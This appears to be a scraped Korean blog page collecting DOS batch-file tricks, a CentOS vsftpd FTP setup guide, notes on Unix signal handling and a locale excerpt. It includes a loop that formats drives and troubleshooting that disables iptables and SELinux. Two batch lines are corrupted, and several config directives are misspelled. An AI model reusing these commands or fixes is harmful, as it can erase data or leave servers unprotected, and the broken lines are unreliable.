이 기술은 배치파일 안에서만 사용할 수 있다. 배치파일 안에서만 환경변수(%path%)를 사용할 수 있기 때문이다. 존재하지 않는 디렉토리를 덧붙이려한다거나 중복해서 경로를 덧붙이는 것을 방지하는 ADDPATH.BAT이라는 배치파일이 있다.

9.  두 파일을 비교하기
=====================
배치파일에서 두 파일이 같은지 아닌지 확인해 볼 수 있다. 이  기술은 MsDos의 외부 명령어인 fc.exe와 find.exe를 사용한다. (외부  명령어라는 뜻은 MsDos와 같이 있는 프로그램들이다. 대부분의 외부 명
령어용 프로그램들은 c:\dos 에 위치한다.)
  fc %1 %2 > tmp$$$
  type tmp$$$ | find  /i  "fc:  no  differences  encountered"  >diffe$$$
  if exist notsame$ del notsame$$$
  copy diffe$$$ notsame$ > nul
  if not exist notsame$ echo Files %1 and %2 are different
  if exist notsame$ echo Files %1 and %2 are identical
  if exist tmp$$$ del tmp$$$
  if exist notsame$ del notsame$
  if exist diffe$$$ del diffe$$$
좀더 생각하면 이 기술은 다른 목적에도 사용할 수 있다. 이는  파일안에 주어진 문자열이 있는지 확인 하는데 바탕을 두고 있기  때문이다.

10.  빈줄을 쓰기
===============
이는 간단하지만 종종 필요하고 유용한 기술이다. echo 바로  다음에점(.)을 찍으면 빈줄을 표시할 수 있다.
  echo.

11.  pause를 이용해 메세지를 표시하기
====================================
메세지를 손쉽게 나타나게 할 수 있다. 메세지를 echo한 다음  pause 를 사용하는데, pause의 메세지를 nul로 보내면 된다.
 echo Break to quit, any other key to remove the tmp directory
 pause > nul

12. for를 이용한 다양한 rename 기술 
===================================
이 기술이 기본적이고 사소하지만, 이를 생각해 내기란 쉽지 않을 것이다. for 문은 파일의 이름을 바꾸는데 특별히 유용하다.  예를  들면, 내가 다음의 파일들을 가지고 있을 때, (터보  파스칼  TP  4.0,
5.0, 5.5, 6.0) 내가 버전 29를 30으로 바꾸기 원한다고 할때,
  tspa2940.zip
  tspa2950.zip
  tspa2955.zip
  tspa2960.zip
다음은 손쉽게 그런 일을 해준다.
 for %f in (40 50 55 60) do re tspa29%f.zip tspa30%f.zip
물론 파일이름 바꾸는 일 말고도 이 기술로 다양한 일을 할 수 있다.
하나의 예는 다음과 같다.
  for %d in (a b) do format %d:

13.  와일드카드를 확인하기
=========================
이 예제는 인수 %1이 와일드 카드를 사용하고 있는지 아닌지  확인한다.
  @echo off
  for %%f in (%1) do if "%%f"=="%1" goto _nowilds
  echo Parameter %1 contains wildcards (or is missing)
  :_nowilds

14.  배치 작업을 중간에 그만두지 못하게 하기
===========================================
ctty 명령어를 사용해서 입력장치나 출력장치를 새로 설정하여  배치파일을 중단시키는 것을 방지할 수 있다. 여기의 예제는  패스워드로 e를 넣어야 하는 간단한 배치파일이다. 
ctty가  nul로  돌려진  동안<,>의 리디렉션이 필요한 것을 눈여겨 보라. ask라는 배치파일을  돕
기 위한 프로그램은 같이 포함되어 있다. ( MsDos의 choice와 비슷하다. 단, 에러 레벨을 입력한 문자의 아스키 값으로 돌리는 것만 틀리다.)
  @echo off
  ctty nul
  echo Now you cannot break the batch with ^C or ^Break > con
  :_ask
  echo Use e to break > con
  ask /b /d < con
  if errorlevel==101 if not errorlevel==102 goto _out
  goto _ask
  :_out
  ctty con
  echo Back to normal. Now you can break the batch  with  ^C  or
^Break.
이 배치파일이 작동되고 있는 동안에는 alt-crtl-del로  다시 부팅할수도 없다. 이 같은 일을 하는 noboot.exe라는 램상주 프로그램도 있다.

15.  autoexec.bat를 중지하고 건너뛰는 것을 방지하기
==================================================
브레이크를 눌러 autoexec.bat를 건너 뛰어 지나치지 않게 하기 위해서 다음과 같이 config.sys에 쓰면 된다.
  shell=c:\command.com /p nul
이렇게 하기 전에 만일의 경우를 대비해서 플로피 디스켓으로 부팅할준비를  해둔다. autoexec.bat 맨 뒷줄에 'ctty con'이라고 덧  붙여야 된다. 그렇게 하지 않으면 키보드가 말을 듣지 않을 것이고, 준비한 플로피 디스켓으로 부팅해야 할 것이다 :-).

16.  확장자를 인식하기
=====================
단지 확장자를 확인하려던가, 주어진 파일의 이름에서 확장자를 환경변수로 저장하려고 할때, 이 것은 매우 유용하다. 어떻게 하는지  여기에 있다. 이 배치파일은 PC-Magazine July 1992, Vol 11, No.  13,
page 528에 나온  정보를 이용한 것이다. for 루프에서  슬레시(/)로 시작하는 인수는 두 부분으로 나누어지는데, 처음 부분은 인수의  첫문자이고 다른 부분은 나머지 문자열이다.
이 해결방법에서 하나의 문제점은 .* 이라던가 .???  이란  확장자를 인식하지 못하는 것이다. 그러나 "와일드카드를 확인하기"를  이용해서 확인하면 될 것이다. 이러한 기술을 이용한 것중에  UNPACK.BAT라
는 배치파일이 있다.
     @echo off
     set exten_=%1
     :_next
     set prev_=%exten_%
     for %%f in (/%exten_%) do set exten_=%%f
     if ".%exten_%"=="%prev_%" goto _extfound
     if not "%exten_%"=="%prev_%" goto _next
     goto _noext
     :_extfound
     echo The filename %1 has an extension %exten_%
     goto _out
     :_noext
     echo The filename %1 has no extension
     :_out
     set exten_=
     set prev_=

17.  % 문자 인용부호
===================

%1은 배치파일에 주어진 첫번째 인수를 가르킨다. 이처럼 'echo  %1'이라고 하면 첫번째 인수를 표시해 준다. 대신에 %1라는 문자를 표시하고 싶은 경우 어떻게 해야하는가?  % 문자는 인용부호처럼  행동한다. 그래서 %%1이라고 쓴 경우 실제로는 "%1"이라고  화면에  표시된다. 아래의 간단한 연습을 실행해보라.
  @echo off
  if "%1"=="" goto _out
  echo %1
  echo %%1
  :_out
이 기능을 이용한 것은 "배치의 보조 배치파일을 없애기"를  보아라.
좋은 예로는 DELPATH.BAT가 있다.

18.  배치의 보조 배치파일을 없애기
=================================
많은 배치 프로그램이 call을 사용해서 보조 배치파일을  불러다  쓴다. 많은 경우 이런 일을 재귀적인 사용을 통해 자기 자신을  불러다씀으로써  보조 파일을 사용하는 것을 줄일 수 있다. 보조코드는  배치파일 자기자신에 넣어 놓는다. 이러한 기술은 와일드 카드를  받아들이는 TYPE 같은 SHOW.BAT 에서 가장 잘 나타나 있다. 일반적으로는 개개의 파일을 type하기 위해서  보조파일이  필요하다.  다른  예는
SAFEDEL.BAT에서 찾아볼수있다.
이와 같은 일을 하기 위한 다른 기술이 있다. 원래의 배치파일이  보조 배치파일을 만든 다음 그것을 불러 사용하는 것이다. 이런 것으로는 DELPATH.BAT의 예를 들 수 있다. 여기에는  사용되는  드라이브를
보여주는 간단한 예가 있다. (c 부터 t 까지 가능하다. 여기선 더 쓰면 줄이 넘어가니까!)
 @echo off
 echo @echo off> tmp$$$.bat
 echo if exist %%1:\nul echo Drive %%1: is present>> tmp$$$.bat
 for %%d in (c d e f g h i j k l m n o p q r s t) do call tmp$$$
%%d
 del tmp$$$.bat
디스크의 볼륨  레이블을  찾아내는  창의적인  기교가  PC-Magazine August 1992, Vol. 11, No. 14, p. 527에 실렸다. 여기는 같은  기술을 사용하는  예가 있다. 환경변수 getdir_에 현재의 디렉토리를  저장한다. 이 기술은 PUSHDIRE.BAT에 사용되고 있다.
  @echo off
  echo @echo off> director.bat
  echo set getdir_=%%2>> director.bat
  echo echo %%getdir_%%>> director.bat
  dir | find "Directory"> go.bat
  call go
  if exist director.bat del director.bat
  if exist go.bat del go.bat

19.  subst 명령어를 경로에 사용하기
==================================
어떤 디렉토리를 읽기 쉽게 하기 위해서 간단한  배치파일을  사용한다. 만약 subst 가 이미 설정되어서 생길 수 있는 에러를  방지한다. 그리고 마지막으로 현재 대치된 디렉토리의 현황을 보여준다.
  @echo off
  if exist m:\nul echo The substitution has already been made
  if not exist m:\nul subst m: c:\math
  if not exist s:\nul subst s: c:\support
  subst

20.  일주일에 한번 실행하기. (요일을 확인하기)
=============================================
요일을  환경변수에  넣는  것은  어려운  기술이다.  완전한   예는 WEEKLY.BAT에서 찾아볼수 있다. 이 기술의 핵심은 아래에 나와  있는데, 요일을 weekday_라는 환경변수에 저장하는 것이다. 일반 도스 프로그램 외에 아무런 보조 프로그램이 필요없다.
  @echo off
  echo.| date | find "Current" > tmp$$$.bat
  echo set weekday_=%%3> current.bat
  call tmp$$$
  echo %weekday_%
  if "%weekday_%"=="Fri" echo Thank God it's Friday
  if exist tmp$$$.bat del tmp$$$.bat
  if exist current.bat del current.bat
  set weekday_=
사실, 위에서 %%3 대신에 %%4를 사용하면 오늘의 날짜를  확인할  수 있다.

21.  파일이름에 경로가 포함되었는지 확인하기
===========================================
우선 먼저 "확장자를 인식하기"를 보면 같은 아이디어인 것을 알  수 있다. 파일이름이 단순히 go.exe 로 이루어 졌는지,  아니면  경로를 포함해서 r:\progs\go.exe와  같이  이루어  졌는지  확인하는  것은 r:\progs\*.exe와 같이 확장자를 사용했다면 매우 복잡한 일이다. 여기서 어떻게 되는지 설명하였다. 이를 완전히 이해했다면 확실히  배치 파일들에 대해서 이해하기 시작했다고 말할 수 있을 것이다.
  @echo off
  echo @echo off> tmp$$$.bat
  echo set rest_=%%1>> tmp$$$.bat
  echo :_next>> tmp$$$.bat
  echo set prev_=%%rest_%%>> tmp$$$.bat
  echo for %%%%g in (/%%rest_%%) do set rest_=%%%%g>> tmp$$$.bat
  echo if ":%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
  echo if "\%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
  echo if not "%%rest_%%"=="%%prev_%%" goto _next>> tmp$$$.bat
  echo goto _nopath>> tmp$$$.bat
  echo :_found>> tmp$$              at
  echo set haspath_=yes>> tmp$$$.bat
  echo goto _out>> tmp$$$.bat
  echo :_nopath>> tmp$$$.bat
  echo set haspath_=no>> tmp$$$.bat
  echo :_out>> tmp$$$.bat
  echo set rest_=>> tmp$$$.bat
  echo set prev_=>> tmp$$$.bat
  for %%f in (%1) do call tmp$$$ %%f
  if "%haspath_%"=="yes" echo Filename %1 includes a path
  if "%haspath_%"=="no" echo Filename %1 does not include a path
  rem if exist tmp$$$.bat del tmp$$$.bat
  set haspath_=

22.  엔터키를 누르지 않고 시간을 보기
====================================
현재의 시간을 보는 간단한 기술은 다음과 같다.
  echo.| time | find /v "new"
시간을 환경변수로 저장하는 방법은 LASTBOOT.BAT을 보아라.

23. 에러레벨 값을 확인하는 다른 방법
====================================
많은 프로그램과 몇개의 도스명령어들( diskcomp, format,  xcopy)은끝날 때 에러 레벨을 발생시킨다. 에러레벨의 누적적인 성질  때문에 에러 레벨을 확인하는 것은 다소 복잡해진다. 그래서 만약  에러레벨이 정확히 2인지 확인하기 위해서는 다음과 같이 한다.
 if errorlevel==2 if not errorlevel==3 echo Errorlevel 2
for 명령어를 사용하는 다른 방법으로 다음을 들수 있다.
 for %%e in (0 1 2  3  4  5  6  7)  do  if  errorlevel==%%e  set
_errlev=%%e
 if "%_errlev%"=="2" echo Errorlevel 2
좀 더 일반적으로 다음과 같이 할 수 있다.
 for %%e in (0 1 2  3  4  5  6  7)  do  if  errorlevel==%%e  set
_errlev=%%e
 if "%_errlev%"=="2" echo Errorlevel %_errlev%
복잡한 배치파일에서 편리한 방법은 goto를 사용하는 것이다.
  for %%e in (0 1 2) do if errorlevel==%%e goto _label%%e
  goto _out
  :_label0
  echo Errorlevel 0
  :_label1
  echo Errorlevel 1
  :_label2
  echo Errorlevel 2
  :_out
이 기술을 실제로 사용하는 예는 BOOT.BAT에서 찾아볼수 있다.

24.  배치파일의 출력을 리디렉션(redirection)하기
===============================================
배치파일 안에서의 출력은 손 쉽게 재 방향전환(redirecion)할 수 있다. 다음과 같은 example.bat 이라는 배치파일을 생각해보자.
  @echo This is a redirection test> test
"example"를 실행시키면 아래의 문장을 담은 "test"라는 파일을 생성 할 것이다.
  This is a redirection test
이 줄은 eoln(end of line: ascii 13 + 10)을 줄 끝에  포함하고  있다. 리디렉션 기호 '>' 앞에 아무런 공백도 주지 않는  것이  현명할때가 있다.
배치파일이 만드는 출력을 다시 재 방향전환(redirection)하는  것은 다소 복잡하다. 다음과 같은 내용을 지닌 example2.bat을 생각해  보자.
  @echo This is another redirection test
실행하면,
  example2 > test
출력은 화면에 나오고, 빈 test라는 파일이 생성될  것이다.  출력을 재 방향 전환 시키기 위해서는 다음과 같이 command.com 명령어 해석기를 통해서 배치파일을 실행해야 한다.( command.com은  현디렉토리나 경로에 있어야 한다.)
  command /c example2 > test
이와 같이 하면 내용이 "test"라는 파일에 담길 것이다.

25.  환경저장 공간이 충분한지 확인하기
=====================================
만약 배치파일이 환경저장 변수를 사용하면, 환경저장 공간이 부족할경우가 있다. 만약 "Out of environment space"라는 메세지를 받는다
면 잘 알려진 방법을 통해서 다음과 같이 config.sys 의 shell을  설정해서 환경저장 공간을 늘릴 수 있다.
  shell=c:\bin\command.com c:\bin /e:1024 /p
이 보다 덜 알려진 기술로는 환경저장 공간이 모자라기 전에 미리 확인해 볼수 있다. 아래의 예는 32바이트의 환경이 남아 있는지 확인한다.
 @echo off
 set test_=12345678901234567890123456789012
 if "%test_%"=="12345678901234567890123456789012" goto _yes
 echo Insufficient environment space
 goto _out
 :_yes
 echo Sufficient environment space
 set test_=
 rem Whatever you wish to do
 :_out

26.  드라이브를 사용 못하게 하는 간단한 방법
===========================================
임시로 드라이브를 사용하지 못하게 하려면, subst명령어를 사용하면 된다. 예는 아래와 같다.
  @echo off
  md c:\none
  subst d: c:\none
다시 사용하게 하려면,
  @echo off
  subst d: /d
  rd c:\none

27. 프린터에 escape 명령어를 보내기
===================================
여기 정말  사소한  기술이  있다.  명령행에서  곧바로  프린터에게 escape sequence를 보낼 수 없다. 그러나 다음과 같은 배치파일을 이용하면 간단하다.
  @echo ESC%1> prn
ESC는 진짜 escape문자로 에디터로 쓰여져야 된다. 이 방법의 한가지 결점은 라인피드를 보내는 것이다.

28.  무작위 문자열을 만든는 방법
===============================
UseNet news에서 무작위 문자열을 만드는 방법을 물어보는 사람이 있었다.  대답은 다음과 같다. 이를 확장해서 공부해보기 바란다.
  @echo off
  echo 10 randomize(val(mid$(time$,7,2))) > tmp.bas
  echo 20 open "tmp2.bat" for output as #1 >> tmp.bas
  echo 30 x$ = mid$(str$(int(rnd*10000)),2) >> tmp.bas
  echo 40 print #1,"@set ramdom_=";x$ >> tmp.bas
  echo 50 close #2 >> tmp.bas
  echo 60 system >> tmp.bas
  gwbasic tmp.bas
  call tmp2
  del tmp.bas
  del tmp2.bat
  set

29.  문자열의 길이를 알아내기
============================
문자열의 길이를 찾아내는 일은 PC Magazine January 26, 1993 issue 에 실렸다. 여기서 제안하는 방법은 PC 메거진의 방법과  근본적으로 같지만, 더 일반적이다.
  @echo off
  set test_=Testing the lenght of a string
  echo %test_% > len$&$&$
  dir len$&$&$ | find "LEN$&$&$" > go$$$.bat
  echo @echo off> len$&$&$.bat
  echo set length_=%%                 len$&$&$.bat
  call go$$$
  echo The lenght is %length_% bytes
  del len$&$&$
  del len$&$&$.bat
  del go$$$.bat

30.  MsDos의 버전을 환경변수로 저장하기
======================================
ADJCURS.BAT을 보면 알겠지만, 배치파일로만 버전을 알아낼  수있다.
여기에 다른 방법이 있다.
  @echo off
  ver > go$$$.bat
  echo @echo off> ms-dos.bat
  echo set version_=%%2>> ms-dos.bat
  call go$$$
  echo Your MsDos version is %version_%
  del go$$$.bat
  del ms-dos.bat


반응형
반응형


출처 : http://blog.naver.com/PostView.nhn?blogId=haengro&logNo=40138067356



프로젝트를 진행하며 문서를 공유하기위해 파일서버를 찾다가 CentOS가 설치되어있는 서버에 FTP서버를 설치하기로 결정


인터넷을 검색해가며 해보니 그리 어렵진 않았지만 나중을 위해 정리해보기로 한다.


1. vsftpd 설치 : Linux에서 사용하는 FTP서버데몬

설치명령은 아래와 같다. (별도로 관련파일 복사없이 그냥 명령어만 치니까 설치가 되더라.

참고로 홈페이지는 https://security.appspot.com/vsftpd.html )

# yum install vsftpd


2. 환경파일 설정

# vi /etc/vsftpd/vsftpd.conf

anoymous_enable=NO //익명으로 접속시 NO

pasv_enable=YES //엑티브모드로 사용할 시 NO


vsftp passive mode 설정하는 방법입니다.

# vi /etc/sysconfig/iptables-config

위 파일을 열고 3번째 라인을 보면

IPTABLES_MODULES="ip_conntrack_netbios_ns"


라고 있는 부분을

IPTABLES_MODULES="ip_conntrack_netbios_ns ip_conntrack_ftp"


라고 추가해 줍니다.

그리고 vsftp서버를 재시작 합니다.

# service iptables restart


3. FTP용 계정생성

# user add 계정명

# passwd 계정명


4. 방화벽 설정 : iptables에 20, 21번 포트를 등록해준다.

# vi /etc/sysconfig/iptables


////////////////아래의 내용 추가

-A INPUT -m state --state NEW -m tcp -p tcp --dport 20 -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPT


//iptable재기동

# service iptables restart


5. FTP서버기동

# service vsftpd start (종료 : stop, 재기동 : restart)


부팅시 FTP자동실행 설정

chkconfig --level 2345 vsftpd on


7. 프로세스 확인 및 포트확인

# ps -ef | grep vsftpd

# netstat -ntlp


참조 : http://blog.naver.com/newkyh00?Redirect=Log&logNo=30111155337


======= 기타 오류 및 정보확인

1. 500 OOPS: could not open chroot() list file:/etc/vsftpd/chroot_list

참조 : http://uiandwe.tistory.com/160

vi /etc/vsftpd/chroot_list
FTP 로그인할 계정을 등록


2. ftp: connect: No route to host

참조 : http://vstu77.blog.me/120050132415

리눅스에서 ftp를 사용할 때에 ftp: connect: No route to host

라는 메시지가 나올 때가 있다.

이럴 경우에는 host server 의 iptable을 살펴 보아야 한다.

사용 하지 않을 거면 iptables 를 stop 한다

#/etc/init.d/iptables stop

그 후

500 OOPS : cannot change directory:/root

500 OOPS : child died

라고 나오는 경우 아래와 같이 입력한다.

# setsebool -P ftp_home_dir=1


3. vsftp에서 500 OOPS: cannot change directory 오류가 나올 때

참조 : http://opencode.co.kr/bbs/board.php?bo_table=linux_tips&wr_id=27

/etc/vsftpd/vsftp.conf를 수정했는데도 불구하고 500 애러가 나오면서 접속이 안될때는
SELinux 때문이라고 합니다.

# setsebool -P ftp_home_dir=1

이렇게 하면, ftp directory에 대한 접근을 허가 하게된다.
"-P"는 Rebooting 될더라도 값을 저장하여,
정상적으로 동작 하도록 한다.


vsftpd(vsftp 데몬)의 상태를 보기
service vsftpd status

iptables(방화벽)의 상태를 보기
service iptables status


4. FTP 접속시 530 Permisiion Denied 발생


/etc/vsftpd/vsftpd.conf 파일 하단에

userlist_enables=YES 를 NO로 바꾸거나


아래의 파일 내부 계정들을 주석처리(#) 하면 된다.

아래의 파일 리스트에 계정이 있으면 FTP 접속이 불가하며 530 퍼미션 거부를 당하게 된다.

/etc/vsftpd/user_list    (해당 리스트 계정들은 계정 비번 조차 확인 안하고 거부됨)

/etc/ftpusers              (해당 리스트 계정들은 비번을 맞게 쳐도 거부됨)


/etc/vsftpd/user_list 내부에 userlist_deny 부분을 재조정 해도 된다.



5. OOPS: cannot change directory:/home/ueco

-> # setsebool -P ftp_home_dir=1 명령으로 해결


6. OOPS: could not read chroot() list file:/home/ueco

-> vsftp.conf설정에서 chroot관련 설정을 모두 주석처리함


7. OOPS: 500 OOPS: child died

디렉터리 목록을 획득할 수 없습니다.

Entering Passive Mode (10,250,114,243,21,35).

->컴퓨터의 FTP툴에서 Passive 모드를 비활성화해서 접속함



8. 533 could not create file

업로드 시 발생. 업로드 하려는 해당 디렉토리의 소유권과 관련된 에러임.

ftp 클라이언트 측에서 접속한 ID와 접속한 디렉토리의 소유자 및 소유 그룹이 다를 경우 발생하기도 한다.

chown 소유자 경로

chgrp 소유그룹 경로


를 해도 안되면 SELINUX 기능을 정지시켜 버리면 된다.

/etc/selinux/config 파일에서 SELINUX=disabled 수정 뒤 재부팅


-------------------------------------------------------------------------------


1. vsftpd.conf 파일의 정보

참조 : http://kch1183.blog.me/50099324984



2. CentOS. FTP 총정리

참조 : http://blog.naver.com/newkyh00?Redirect=Log&logNo=30111155337




반응형

'OS > CentOS' 카테고리의 다른 글

Centos 네트워크 관련 설정 방법  (0) 2013.08.13
반응형


이전 포스팅 : http://jangpd007.tistory.com/entry/Unix-Signal-%EC%A2%85%EB%A5%98


이전에 Signal의 전체적인 개념에 대해 잡았다면 이번에는 Signal 처리 방식에 대해 알아보자

Signal 처리 함수의 가장 기본적인 방식은 Siganl 함수를 이용해서 핸들러를 등록한 뒤 해당 Signal에 대해 Catch 된 이 후를 명시하는 방법이다.


Signal 함수의 기본 원형이다.

#include <signal.h>

typedef void (*sighandler_t)(int);
sighandler_t signal(int signum, sighandler_t handler);

Return 값 : 성공시 이전 Signal handler, 오류시 SIG_ERR


signal 함수의 두번째 인수로 주어진 값에 따라 수행여부가 결정되는데 입력 방식은 아래와 같다.

1. signal handler 함수 : 해당 Signal 을 catch 하여 handler 함수명을 지정

2. SIG_IGN : 해당 Signal은 무시(ignore)

3. SIG_DFL : 해당 Signal의 default action을 수행한다.

주의 사항은 SIGKILL(9), SIGSTOP(시스템에 따라 다름)는 시그널 핸들러를 사용자가 임의로 지정할 수 없으며 해당 Signal은 무시할 수도 없다. 

즉 signal 함수로 두가지 SIGNAL은 catch or ignore 할 수 없습니다. 

또한 해당 Signal들에 대해 핸들러를 등록할 때 컴파일 및 런타임 에러가 발생하지는 않습니다.

단지 기본동작(SIGKILL-Terminate, SIGSTOP-Stop Process)으로만 동작할 뿐입니다.

#include<signal.h>
#include<unistd.h>

void sig_handler_usr1(int signo)
{
   printf("catched sigusr1\n");
}
   
int main()
{
   if(signal(SIGUSR1, sig_handler_usr1) == SIG_ERR)
   {
      perror("SIGUSR1 ERROR");
   }
   while(1) sleep(1);
   return 1;
}




#include<signal.h>
#include<sys/types.h

int kill(pid_t pid, int sig);
int raise(int sig);
Return 값 : 성공시 0, 오류시 -1
함수 kill은 주어진 process에게 signal을 보낸다.
하지만 raise는 자신의 process에게 signal을 보낸다.




#include<unistd.h>

unsigned int alarm(unsigned int seconds);
Return 값 : 성공시 이전 alarm이 없을 경우 0, 있을 경우 이전 alarm의 남은 second 수
함수 alarm은 주어진 시간이 지난 후에 SIGALRM이 자신의 process에게 전달되게 한다.




#include<unistd.h>

int pause(void);
Return 값 : -1, errno은 EINTR.
함수pause는 signal이 deliver될 때 까지 sleep한다.





#include<stdlib.h>

void abort(void);
Return 값 : void
함수 abort는 자신의 process에게 SIGABRT을 보낸다.
process는 SIGABRT를 받으면 프로세스는 abnormal termination을 한다.




#include<unistd.h>

unsigned int sleep(unsigned int seconds);
Return 값 : 0 혹은 신호를 받은 경우 남은 sleep 시간(초)
함수 sleep은 주어진 시간(초) 동안 프로세스의 수행을 중단시킨다. 만약 sleep 도중 신호가 전달되면 sleep에서 깨어난다.



다음 포스팅은 신호 집합에 대해서 !!


반응형

'OS > Common' 카테고리의 다른 글

pthread_kill 를 사용하여 컴파일 시 유의사항  (2) 2014.01.24
64비트 컴파일 시 장점  (0) 2014.01.09
Unix/Linux Signal 개념 및 종류  (2) 2013.10.24
유닉스 언어 설정 확인 및 변경  (0) 2013.10.02
Z 확장자 압축해제  (0) 2013.07.09
반응형


UNIX 시스템의 핵심 중의 하나인 Signal은 프로세스에게 어떤 Event의 발생을 알리기 위해 전달 되는 소프트웨어 인터럽트다.

유닉스/리눅스 운영체제는 매우 다양한 종류의 Signal이 있으며 이러한 Signal은 각각의 의미를 가지고 사용되어진다.


이번엔 Signal의 종류 및 개념에 대해 간단히 알아보고 다음에 Signal 처리 방식에 대해 천천히 알아보자


우선 시그널의 정의 및 개념에 대해 알아보자.

1. Signal은 어떤 Event가 발생했음을 알리기 위해 Process에게 전달되는 소프트웨어 인터럽트다.

2. Signal을 발생 시키는 Event의 종류는 아래의 4가지 종류가 있다.

2-1. Hardware Exception (나누기 0 등).

2-2. Software condition (alarm 시간, expire 등).

2-3. 단말기에서 발생하는 사용자 입력 (^c, ^z 등).

2-4. kill 등과 같은 시스템 콜.

3. Event에 의해서 Signal이 생성 되면 곧 Process에게 전달 된다.

4. Process에게 Signal이 전달되면

4-1. 기본 설정 실행(ignore, terminate, terminate+core).

4-2. Signal Handler에 의한 Catch 후 로직 수행.

4-3. 무시.

5. Signal이 생성 되었으나 아직 전달 되지 않은 Signal은 Pending이라 함.

6. Process는 signal mask를 사용해 특정 Signal을 Block/Unblock 시킬 수 있음.

7. Process가 특정 Signal을 Block 시켜도 이 Signal은 생성되지만 전달 되지 않을뿐 Pending 됨.

8. Block된 Signal은 Process가 그 Signal을 Unblock 할 때까지 혹은 해당 Signal에 대한 처리를 ignore로 변경 할때 까지 Pending됨.

9. 어떤 Process에 여러개의 Signal이 생성되어 전달 되는 경우 순서는 보장할 수 없다.



주의 할 것은 UNIX/LINUX 시스템 마다 우리가 자주 사용하거나 보게 되는 기본적인 Signal을 제외하고 (SIGKILL(9), SIGSEGV(11), SIGTERM(15)  등등등) 기타 Signal 번호는 OS 환경에 설치된 signal.h에 define 선언 되어 있는 것 마다 차이가 있다.

각 Signal 번호는 어짜피 signal.h에 define 되어 있므로 궁금하면 /usr/include 에 있는 signal.h 파일을 참고하는 것이 좋다.

(Signal Number 정의는 UNIX /usr/include/sys/signal.h에서 확인하고 Linux는 /usr/include/bits/signum.h 참고)

혹은 직관적으로 확인하고자 한다면 프롬프트창에서 kill -l 을 치면 시스템 Signal 종류에 대해서 확인 할 수 있다.


기본적인 Signal과 은 아래와 같다. (시스템 마다 종류나 숫자는 차이가 있음)



1. SIGHUP: 연결된terminal이hangup하였을때(terminate)

2. SIGINT: interrupt key(^C)를입력하였을때(terminate)

3. SIGQUIT: quit key(^\)를입력하였을때(terminate+core)

4. SIGILL: illegal instruction을수행하였을때(terminate+core)

5. SIGTRAP: implementation defined hardware fault (terminate+core)

6. SIGABRT: abort시스템호출을불렀을때(terminate+core)

7. SIGBUS: implementation defined hardware fault (terminate+core)

8. SIGFPE: arithmetic exception, /0, floating-point overflow (terminate+core)

9. SIGKILL: process를kill하기위핚signal, catch 혹은ignore될수없는signal임(terminate)

10. SIGUSR1: user defined signal 1 (terminate)

11. SIGSEGV: invalid memory reference (terminate+core)

12. SIGUSR2: user defined signal 2 (terminate)

13. SIGPIPE: reader가terminate된pipe에write핚경우발생(terminate)

14. SIGALRM: alarm시스템호출후timer가expire된경우(terminate)

15. SIGTERM: kill시스템호출이보내는software termination signal (terminate)

16. SIGCHLD: child가stop or exit되었을때parent에게전달되는신호(ignore)

17. SIGCONT: continue a stopped process (continue/ignore)

18. SIGSTOP: sendable stop signal, cannot be caught or ignored (stop process)

19. SIGTSTP: stop key(^Z)를입력하였을때(stop process)

20. SIGTTIN: background process가control tty로부터read핛경우(stop process)

21. SIGTTOU: background process가control tty로write핛경우(stop process)

22. SIGURG: urgent condition on IO, socket의OOB data (ignore)

23. SIGXCPU: exceeded CPU time limit (terminate+core/ignore)

24. SIGXFSZ: exceeded file size limit (terminate+core/ignore)

25. SIGVTALRM: virtual time alarm, setitimer, (terminate)

26. SIGPROF: profiling time alarm, setitimer, (terminate)

27. SIGWINCH: terminal window size changed, (ignore)

28. SIGIO: 어떤fd에서asynchronous I/O event가발생하였을경우(terminate/ignore)

29. SIGPWR: system power fail (terminate/ignore)

30. SIGSYS: bad argument to system call (terminate+core)


기본적인 Signal 처리 방식은 아래와 같다.

1. SIG_DFL (SIG_PF)0
2. SIG_ERR (SIG_PF)-1
3. SIG_IGN (SIG_PF)1
4. SIG_HOLD (SIG_PF)2

Signal 처리에 관한 자세한 내용은 다음 포스팅 때!


반응형
반응형



유닉스 환경 상에서 언어 관련 정보는 locale 설정을 통해서 할 수 있다.

이 로케일에 대해서 검색하다가 다른 블로그에서 해당 내용을 확인할 수 있었는데 참고해야겠다.


참고 : http://blog.naver.com/paro01/100050474751



로케일(Locale)에 관하여...

 

로케일(Locale)의 의미

 

세계 여러 나라들은 각자 다른 문화(언어, 날짜, 시간 등)을 갖고 있다. 프로그램의 국제화(Internationalization,
줄여서 i18n)는 사용자로 하여금 프로그램 수행시 로케일이란 것에 의해 입맛에 맞는 환경을 선택할 수 있도록
만든 것을 말한다.  예를 들어 어떤 프로그램의 메시지가 여러가지 언어로 주어져 있는 경우 이중에 어떤 언어의
것을 출력할 것인가를 사용자가 결정할 수 있는 것이다. 그것을 가능하게 해 주는 수단이 바로 로케일이다.
이것은 단순히 메시지 뿐만이 아니고 숫자표현법, 날짜 또는 시간표현법 등 여러가지에 사용될 수 있다.
그것 각각을 우리는 카테고리(category)라고 부른다. 카테고리에는 LC_COLLATE, LC_CTYPE, LC_MESSAGES,
LC_MONETARY, LC_NUMERIC, LC_TIME 가 있다.

 

로케일 설정방법

 

로케일을 지원하는 프로그램의 실행 방식을 선택하기 위해서는 환경 변수 설정을 이용한다.
(카테고리 각각에 해당하는 환경변수는 카테고리 이름과 동일하다.)
로케일 환경 변수에 관한 정보는 locale이란 명령으로 간단히 얻을 수 있다.


% locale


LANG=ko_KR.eucKR
LC_CTYPE="ko_KR.eucKR"
LC_NUMERIC="ko_KR.eucKR"
LC_TIME="ko_KR.eucKR"
LC_COLLATE="ko_KR.eucKR"
LC_MONETARY="ko_KR.eucKR"
LC_MESSAGES="ko_KR.eucKR"
LC_ALL= 위에서 ko_KR.eucKR은 로케일 값(locale name)이다.

일반적인 로케일 값의 형식은 ll[_CC[.EEEE]][@dddd] 이다.
ll은 언어(language)를 지정하는 소문자 두 글자 ISO 639 language code,
CC는 지역(territory)를 지정하는 대문자 두 글자 ISO 3166 country code,
EEEE는 코드셋(codeset)을 지정하는 문자셋(character set) 또는 인코딩(encoding),
dddd는 방언 등의 변종을 구별하기 위한 것(modifier)이다.
[]로 표시된 내용은 안 쓸수도 있음을 의미한다.

예를 들면 en_US는 미국 영어권, en_CA는 영어권 카나다, de_DE는 독일의 독일어, fr_FR는 프랑스의 프랑스어를 의미한다.
